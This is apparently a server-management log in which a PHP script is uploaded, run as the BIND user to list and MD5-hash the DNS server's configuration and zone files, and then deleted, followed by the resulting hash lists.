MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 12:36:12: Establishing a connection
2026-04-23 12:36:12: 

PUT: /tmp/pkp845271

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 12:36:12: 

runuser -l bind -s /bin/bash -c '/tmp/pkp845271; rm /tmp/pkp845271'

2026-04-23 12:36:12: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 12:36:14: Establishing a connection
2026-04-23 12:36:14: 

PUT: /tmp/pkp318689

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 12:36:15: 

runuser -l bind -s /bin/bash -c '/tmp/pkp318689; rm /tmp/pkp318689'

2026-04-23 12:36:15: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
